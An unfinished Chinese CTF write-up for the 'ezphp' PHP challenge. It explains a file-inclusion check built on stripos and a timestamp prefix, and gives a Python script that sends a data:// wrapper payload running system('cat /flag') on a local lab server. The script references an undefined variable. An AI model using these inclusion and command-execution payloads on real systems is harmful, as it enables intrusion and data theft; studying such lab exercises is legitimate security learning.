未完成 ezphp

1
2
3
4
5
6
<?php 

isset($_GET["f"]) &&!stripos($_GET["f"], "sess") &&
str_starts_with(file($_GET["f"])[0], (string) time())

?include $_GET["f"]: highlight_file(__FILE__);

f=字符串时间/nfile:///flag

知识点:

1.stripos函数

1
2
3
4
5
6
7
8
9
10
输入:stripos($A, $B)
处理:

将 A 变成大写 →A′

将 B 变成大写 →B′

在 A′ 中搜索 B′ 的位置

输出:第一个匹配点的索引数字。
逻辑维度 strpos (强匹配) stripos (弱匹配)
大小写敏感 是 否
检索示例 Admin $\neq$ admin Admin == admin
成功返回值 int (位置) int (位置)
失败返回值 false false
  1. Session 文件注入

  2. str_starts_with函数

1
str_starts_with(file($_GET['f'])[0], (string)time())
  1. file($_GET['f'])[0]:读取你指定文件的第一行。
  2. (string)time():获取服务器当前的 Unix 时间戳(例如 1708754400)。
  3. 匹配要求:如果你在 13 点 40 分 00 秒提交,你的文件第一行开头必须写着 1708754400。
  4. 时间竞争:因为 time() 每秒都在变,你手动上传文件几乎不可能,需要写 脚本 自动化完成“计算时间 -> 生成文件 -> 提交请求”的操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import time
import requests

url = "http://127.0.0.1:18626/"

while True:
now = str(int(time.time()))

payload = f"data://text/plain,{now}<?php system('cat /flag');?>"

try:
# 发送请求
response = requests.get(url, params={'f': payload}, timeout=1)

if "flag{" in response.text:
print(f"成功!时间戳匹配为: {now_ts}")
print(response.text)
break
else:
print(f"尝试时间戳 {now} ... 未中 (服务器当前可能不是这一秒)")

except Exception as e:
pass

time.sleep(0.1)